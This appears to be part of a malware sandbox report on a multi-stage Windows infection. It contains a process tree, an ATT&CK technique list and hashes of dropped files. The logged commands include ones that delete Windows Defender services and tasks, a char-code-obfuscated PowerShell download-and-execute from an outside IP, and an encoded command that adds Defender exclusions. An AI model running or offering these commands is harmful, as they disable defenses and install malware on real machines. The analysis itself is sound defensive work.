                                                        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                        11⤵
                                                          PID:924
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "MsSecWfp"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:4764
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "MsSecWfp"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:4744
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                          11⤵
                                                            PID:5704
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop "MsSecFlt"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:5708
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete "MsSecFlt"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:5304
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                            11⤵
                                                              PID:2232
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop "MsSecCore"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:5892
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete "MsSecCore"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:1856
                                                            • C:\Windows\system32\reg.exe
                                                              reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                              11⤵
                                                                PID:3228
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                                11⤵
                                                                  PID:2540
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                  11⤵
                                                                    PID:2928
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                    11⤵
                                                                      PID:5432
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                      11⤵
                                                                        PID:4812
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc stop ddrver
                                                                        11⤵
                                                                        • Launches sc.exe
                                                                        PID:3144
                                                                      • C:\Windows\system32\sc.exe
                                                                        sc delete ddrver
                                                                        11⤵
                                                                        • Launches sc.exe
                                                                        PID:3512
                                                            • C:\Users\Admin\AppData\Local\Temp\10408160101\e7cc698125.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10408160101\e7cc698125.exe"
                                                              6⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2412
                                                            • C:\Users\Admin\AppData\Local\Temp\10408170101\HAe88WC.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10408170101\HAe88WC.exe"
                                                              6⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              PID:3156
                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                7⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:3964
                                                            • C:\Users\Admin\AppData\Local\Temp\10408180101\16385a18f9.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10408180101\16385a18f9.exe"
                                                              6⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1180
                                                            • C:\Users\Admin\AppData\Local\Temp\10408190101\9e9ad7156c.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10408190101\9e9ad7156c.exe"
                                                              6⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Writes to the Master Boot Record (MBR)
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              PID:6052
                                                            • C:\Users\Admin\AppData\Local\Temp\10408200101\PQPYAYJJ.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10408200101\PQPYAYJJ.exe"
                                                              6⤵
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              PID:6452
                                                              • C:\Users\Admin\Abspawnhlp.exe
                                                                "C:\Users\Admin\Abspawnhlp.exe"
                                                                7⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • System Location Discovery: System Language Discovery
                                                                PID:1528
                                                                • C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                                                                  C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                                                                  8⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Suspicious use of SetThreadContext
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Suspicious behavior: MapViewOfSection
                                                                  PID:768
                                                                  • C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                                                                    C:\Users\Admin\AppData\Local\NotepadComGKR\Abspawnhlp.exe
                                                                    9⤵
                                                                      PID:5164
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\SysWOW64\cmd.exe
                                                                      9⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:6048
                                                              • C:\Users\Admin\AppData\Local\Temp\10408210101\e3267e0a89.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10408210101\e3267e0a89.exe"
                                                                6⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Identifies Wine through registry keys
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Suspicious use of SetThreadContext
                                                                • System Location Discovery: System Language Discovery
                                                                PID:6192
                                                                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10408210101\e3267e0a89.exe"
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:6460
                                                              • C:\Users\Admin\AppData\Local\Temp\10408220101\TbV75ZR.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10408220101\TbV75ZR.exe"
                                                                6⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetThreadContext
                                                                PID:7056
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                  7⤵
                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:1652
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 492
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:208
                                                              • C:\Users\Admin\AppData\Local\Temp\10408230101\h8NlU62.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10408230101\h8NlU62.exe"
                                                                6⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetThreadContext
                                                                PID:5824
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                  7⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:1588
                                                              • C:\Users\Admin\AppData\Local\Temp\10408240101\qWR3lUj.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10408240101\qWR3lUj.exe"
                                                                6⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetThreadContext
                                                                PID:2280
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                  7⤵
                                                                    PID:5812
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                    7⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3136
                                                      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                        C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                        1⤵
                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                        • Checks BIOS information in registry
                                                        • Executes dropped EXE
                                                        • Identifies Wine through registry keys
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:5252
                                                      • C:\Windows\system32\msiexec.exe
                                                        C:\Windows\system32\msiexec.exe /V
                                                        1⤵
                                                        • Enumerates connected drives
                                                        • Drops file in Windows directory
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4304
                                                        • C:\Users\Admin\AppData\Local\Treasurership\Abspawnhlp.exe
                                                          "C:\Users\Admin\AppData\Local\Treasurership\Abspawnhlp.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4848
                                                          • C:\Users\Admin\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                            C:\Users\Admin\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Suspicious use of SetThreadContext
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious behavior: MapViewOfSection
                                                            PID:2460
                                                            • C:\Users\Admin\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                              C:\Users\Admin\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                              4⤵
                                                              • Checks computer location settings
                                                              • Loads dropped DLL
                                                              • System Location Discovery: System Language Discovery
                                                              PID:4784
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EP Bypass -NoP -C iex(-join([char[]](65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,110,118,58,84,69,77,80,44,32,36,101,110,118,58,83,121,115,116,101,109,68,114,105,118,101,92,59,32,36,112,116,97,32,61,32,36,101,110,118,58,116,109,112,43,34,92,116,101,109,112,95,54,52,55,51,50,52,46,101,120,101,34,59,32,105,119,114,32,104,116,116,112,58,47,47,49,48,57,46,49,50,48,46,49,51,55,46,54,47,82,77,83,70,46,101,120,101,32,45,111,32,36,112,116,97,59,32,115,97,112,115,32,36,112,116,97,59,32,36,112,116,98,32,61,32,36,101,110,118,58,116,109,112,43,34,92,116,101,109,112,95,56,51,50,52,49,57,46,101,120,101,34,59,32,105,119,114,32,104,116,116,112,58,47,47,49,48,57,46,49,50,48,46,49,51,55,46,54,47,82,68,80,95,85,83,69,82,46,101,120,101,32,45,111,32,36,112,116,98,59,32,115,97,112,115,32,36,112,116,98,59)))
                                                                5⤵
                                                                • Blocklisted process makes network request
                                                                • Downloads MZ/PE file
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5416
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\SysWOW64\cmd.exe
                                                              4⤵
                                                              • Drops file in Windows directory
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1380
                                                        • C:\Users\Admin\AppData\Local\Temp\Ornithoscopy\CamMenuMaker.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Ornithoscopy\CamMenuMaker.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4744
                                                          • C:\Users\Admin\AppData\Roaming\SuperJava_debugv4\CamMenuMaker.exe
                                                            C:\Users\Admin\AppData\Roaming\SuperJava_debugv4\CamMenuMaker.exe
                                                            3⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Suspicious use of SetThreadContext
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious behavior: MapViewOfSection
                                                            PID:4924
                                                            • C:\Windows\System32\cmd.exe
                                                              C:\Windows\System32\cmd.exe
                                                              4⤵
                                                                PID:5472
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\SysWOW64\cmd.exe
                                                                4⤵
                                                                • Drops file in Windows directory
                                                                • System Location Discovery: System Language Discovery
                                                                PID:2908
                                                          • C:\Users\Admin\AppData\Local\Temp\Spacebar\CamMenuMaker.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Spacebar\CamMenuMaker.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:4224
                                                            • C:\Users\Admin\AppData\Roaming\jbn_Stream_beta_v2\CamMenuMaker.exe
                                                              C:\Users\Admin\AppData\Roaming\jbn_Stream_beta_v2\CamMenuMaker.exe
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious behavior: MapViewOfSection
                                                              PID:4120
                                                              • C:\Users\Admin\AppData\Roaming\jbn_Stream_beta_v2\CamMenuMaker.exe
                                                                C:\Users\Admin\AppData\Roaming\jbn_Stream_beta_v2\CamMenuMaker.exe
                                                                4⤵
                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                • Loads dropped DLL
                                                                • System Location Discovery: System Language Discovery
                                                                PID:1852
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\SysWOW64\cmd.exe
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:5220
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5880 -ip 5880
                                                          1⤵
                                                            PID:2928
                                                          • C:\ProgramData\Oxagile\Updater.exe
                                                            C:\ProgramData\Oxagile\Updater.exe /u
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Drops file in System32 directory
                                                            • Checks processor information in registry
                                                            • Modifies data under HKEY_USERS
                                                            PID:5888
                                                            • C:\Windows\TEMP\dat6B72.tmp\dat6B73.exe
                                                              C:\Windows\TEMP\dat6B72.tmp\dat6B73.exe
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Drops file in System32 directory
                                                              • System Location Discovery: System Language Discovery
                                                              • Modifies data under HKEY_USERS
                                                              PID:5632
                                                              • C:\Windows\SysWOW64\config\systemprofile\Abspawnhlp.exe
                                                                "C:\Windows\system32\config\systemprofile\Abspawnhlp.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Drops file in System32 directory
                                                                • System Location Discovery: System Language Discovery
                                                                PID:564
                                                                • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                                  C:\Windows\system32\config\systemprofile\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:1856
                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                                    C:\Windows\SysWOW64\config\systemprofile\AppData\Local\svcPower_test\Abspawnhlp.exe
                                                                    5⤵
                                                                      PID:6212
                                                            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                              1⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              PID:4732
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAGQALQBNAHAAUAByAGUARgBlAHIARQBuAEMARQAgAC0AZQB4AGMATABVAFMASQBvAG4AUABhAFQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEkAbgB2AGEAbABpAGQAXABIAGUAbABwAEwAaQBuAGsALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwBSAEMARQA7ACAAQQBEAGQALQBtAHAAcAByAEUAZgBFAHIARQBuAGMARQAgAC0AZQBYAGMAbAB1AHMASQBPAE4AUAByAG8AYwBFAFMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEkAcwBJAG4AdgBhAGwAaQBkAFwASABlAGwAcABMAGkAbgBrAC4AZQB4AGUAIAAtAGYAbwByAEMARQA=
                                                              1⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              PID:8
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1652 -ip 1652
                                                              1⤵
                                                                PID:2028
                                                              • C:\Users\Admin\AppData\Roaming\IsInvalid\HelpLink.exe
                                                                C:\Users\Admin\AppData\Roaming\IsInvalid\HelpLink.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                PID:3220

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Reconnaissance

                                                              Resource Development

                                                              Initial Access

                                                              Execution

                                                              Command and Scripting Interpreter

                                                              1
                                                              T1059

                                                              PowerShell

                                                              1
                                                              T1059.001

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              System Services

                                                              2
                                                              T1569

                                                              Service Execution

                                                              2
                                                              T1569.002

                                                              Persistence

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Pre-OS Boot

                                                              1
                                                              T1542

                                                              Bootkit

                                                              1
                                                              T1542.003

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Privilege Escalation

                                                              Create or Modify System Process

                                                              3
                                                              T1543

                                                              Windows Service

                                                              3
                                                              T1543.003

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Defense Evasion

                                                              File and Directory Permissions Modification

                                                              1
                                                              T1222

                                                              Impair Defenses

                                                              1
                                                              T1562

                                                              Modify Registry

                                                              1
                                                              T1112

                                                              Pre-OS Boot

                                                              1
                                                              T1542

                                                              Bootkit

                                                              1
                                                              T1542.003

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Credential Access

                                                              Credentials from Password Stores

                                                              1
                                                              T1555

                                                              Credentials from Web Browsers

                                                              1
                                                              T1555.003

                                                              Unsecured Credentials

                                                              2
                                                              T1552

                                                              Credentials In Files

                                                              2
                                                              T1552.001

                                                              Discovery

                                                              Peripheral Device Discovery

                                                              1
                                                              T1120

                                                              Query Registry

                                                              8
                                                              T1012

                                                              System Information Discovery

                                                              5
                                                              T1082

                                                              System Location Discovery

                                                              1
                                                              T1614

                                                              System Language Discovery

                                                              1
                                                              T1614.001

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Lateral Movement

                                                              Collection

                                                              Data from Local System

                                                              2
                                                              T1005

                                                              Command and Control

                                                              Exfiltration

                                                              Impact

                                                              Service Stop

                                                              1
                                                              T1489

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • C:\Config.Msi\e58709a.rbs
                                                                Filesize

                                                                9KB

                                                                MD5

                                                                6b1f9b18b1766800f0f799c0aef4a2a3

                                                                SHA1

                                                                f1a4e5670ada02bc1926896bfa2d595cf169ec16

                                                                SHA256

                                                                b7624911e697f7a21f7ede193dc28245f66bd03b3e372ef85d99d46b74f57c26

                                                                SHA512

                                                                07e3be563f7be8745be21ef9fb4b5eb13ff7677958857d113afa7902ae4caa48199db260763222f88e96792db38f763a725fc8104a69d63df630dd6c535876b4

                                                                Download Submit

                                                              • C:\Config.Msi\e58709f.rbs
                                                                Filesize

                                                                9KB

                                                                MD5

                                                                4a3974c8e896bbd5fcece438b537b30c

                                                                SHA1

                                                                1006f397388723451825852d8fa041996d8e622a

                                                                SHA256

                                                                c6d0f73ca3c577870123c952fbc9cc7d0244b524b17184522674939117438168

                                                                SHA512

                                                                04c44b7d6890045735b2cc12db3a08f52cfd01d9e00d2f3c4bca1e6522e9799394aac0bb6289ccbd26294d3dd87d0868ce445ab33c913d93b922c205ad89676f

                                                                Download Submit

                                                              • C:\Config.Msi\e5870a4.rbs
                                                                Filesize

                                                                9KB

                                                                MD5

                                                                1e1bf21cef9692e98c79b8c9a4057ab6

                                                                SHA1

                                                                cdc83f174e06fa784283f19b7d1deef3468cc44e

                                                                SHA256

                                                                750ae8e400729e17b4739253bba255e3ccebffea1554d75d5831c02fd93cb50a

                                                                SHA512

                                                                19f18a1e713b89157451ab62266b972b721fb5aaf7720b73dbf6d31fd3cae8dd5766f974a2acdf2560f3cd35e5f0371833ccf84733e03ecd129074700da6be3b

                                                                Download Submit

                                                              • C:\Users\Admin\Abspawnhlp.exe
                                                                Filesize

                                                                27KB

                                                                MD5

                                                                5b8fb06983be9063ef128fa5aee80b3a

                                                                SHA1

                                                                c065a0ee84eb1fd646ea213bca20543306d7c9e1

                                                                SHA256

                                                                ab5b956eca5ce83bf763d5f952316f17ba771adfd5cafd8ca9e262de61de4b4e

                                                                SHA512

                                                                868cfbf9dd0a4ea9ececb290fa149959416ee2720c09e5bb8722cd1863626794afc2d5770e9244ba4e64b8e88c76e22e13af37aa42d745e1dbff4104258c8da2

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                986ac17969db43bbe96e25fd2757d887

                                                                SHA1

                                                                884f4d389ea36b9ba62fd3553be15eaf444676c9

                                                                SHA256

                                                                2a782b9a023e9f4f71f8909d451bba96b4c623acb11215c86c188334318d9e42

                                                                SHA512

                                                                8bf1114dcaebdeecbe655af0a0d40643d872959c04ca2e8ac793183e35d0b85774c564ec135a941a5c9bbef52219d91db4141bf5a5a45b78bd9f08afdbbaaac0

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BF4A23BF936A851ECBACCE498A36771
                                                                Filesize

                                                                471B

                                                                MD5

                                                                d7f78ed9a24818f8728be2320feec294

                                                                SHA1

                                                                49cfbf9a9240e35db90e7f6aa2b5b615eaf1e189

                                                                SHA256

                                                                842d658bb70521d0042f091ddf5f5b539f15002e75f49be0f082918bead47b2e

                                                                SHA512

                                                                3811181f1e7e8d033862c1296af6eeaf64917666377490a008ab987a4eb5bf5060be41e2e330b951bb1a369019ed390a37c8dba0253c19f4f1b045b4ea4d46cc

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                Filesize

                                                                1KB

                                                                MD5

                                                                99d2d513adeb4532b2898717af428b0a

                                                                SHA1

                                                                a715ed08c0ca03ee1347d22592c34a1982277182

                                                                SHA256

                                                                517fe0d8c0a7f932a839c12292113407f111d5224e5f54a06f2d03f56a375138

                                                                SHA512

                                                                50bd5f783b7d690c0573c66f403b1da2dd961625a41bfa7ca2316a214a5137218e3258d60f612f455a55cca834ed641f876b1d9f7609810484c95160a3bbaf7c

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
                                                                Filesize

                                                                488B

                                                                MD5

                                                                9257c100d60c5d9eeaa8cb5537ab3bd8

                                                                SHA1

                                                                e2af3c5556980c1bc2ce14dd375384df3b8c45dd

                                                                SHA256

                                                                a82180dc53ed1330d8e9d9d4d0eb938f0eb6e2ca55fecda092b0f2490e915cee

                                                                SHA512

                                                                0f21f104fcc2e43342719165d27630cc43e0cb305e346a05eb5c57cc9b2df643134cbab127c070ee17f657749b1c510a02fc45e5c1d140cdb2e99c77b0afa2f1

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BF4A23BF936A851ECBACCE498A36771
                                                                Filesize

                                                                480B

                                                                MD5

                                                                3f37c2605cda6e9c7d3979b9adca02bb

                                                                SHA1

                                                                60e1bc49ed8357a5d34deaa293f24fa7745d668c

                                                                SHA256

                                                                5f7d3736264b966c0a5319308e79162f498651a7b4f52744c46f2dc129ff20fc

                                                                SHA512

                                                                3c51a932bb7266dbc0311631e50b628bb78c42ad7ffacb6f9526cd1910bdfdfa905f87f601fcbde7e6ad6c147d9f10f88129f21132af695e0c28e956a090ceb5

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
                                                                Filesize

                                                                482B

                                                                MD5

                                                                fe6adb206c3291bfcce386b3281c9ac4

                                                                SHA1

                                                                665f71794abc510d725096b557a8a1a6097ce201

                                                                SHA256

                                                                0406ba72ad51182bcbbdde0505795607081ec0ab56d995608899540023486e13

                                                                SHA512

                                                                72703d4005df113dafc776f6036db5459ea4d8b882ebd70b944a9736f107735c8a7b683be755843a2874c01e8c68344a75ee4c136231bae91a3ce2aec6eafd0f

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\TempO31W2T6IPMNEAMGWUKE2WQIBPORLHILF.EXE
                                                                Filesize

                                                                1.8MB

                                                                MD5

                                                                0830f37499cc32085cc547d9005b17a0

                                                                SHA1

                                                                5c19017d9ad04c91953ee7f1535279d5aa237b33

                                                                SHA256

                                                                bbcd80468240fa20c60ab65f34c8b9641a8c0b394d04cf484bbe97885613006f

                                                                SHA512

                                                                3f9c5d02880dadd96ac073fbc980f7f6d00ed2466e33a8fc70d9dbf4c8d1f3004c0390e24af5e6ff08b1da8a77aea847177f9271f6186a0cf7b1e9d552d858df

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Temp\10000910271\FRDKTUCO.msi
                                                                Filesize

                                                                2.0MB

                                                                MD5

                                                                869e91e568e087f0bb5b83316615fe25

                                                                SHA1

                                                                d270c43ad104cecf8ac3c147ec9d38a26f690598

                                                                SHA256

                                                                2a776b45f044c0a4be9027f33b1548bfd78890db0b5c49dcb36026b0bf15a243

                                                                SHA512

                                                                e394d8e21ba720d962d55c2a55331c491583dba4d168a26335593ea4f279899fbcb4c39f43938c3ce22dfeda16b8685368b6f3398d5975ad7279314fd27018a6

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Temp\10000930101\890172171_x64.exe
                                                                Filesize

                                                                61KB

                                                                MD5

                                                                c7274a9e48f874a8c2d8c402d60cdf4d

                                                                SHA1

                                                                f9fce7ca9c4e9c5a0f8ed7fe812506809bb6f85b

                                                                SHA256

                                                                83577ba8c993c338671786fd5692e53080c87b9670ee8fda9cb163b689eb4ff9

                                                                SHA512

                                                                590bf5c61ed77540690a04b3b35bbaa1e996b911a00b638e866b6af82745b09877be76def1abcf05a8c4e9eb9ffdc34447860e628de9d518623c76eb493a9c61

                                                                Download Submit

                                                              • C:\Users\Admin\AppData\Local\Temp\10000950271\UVXEUGTZ.msi
                                                                Filesize

                                                                4.1MB

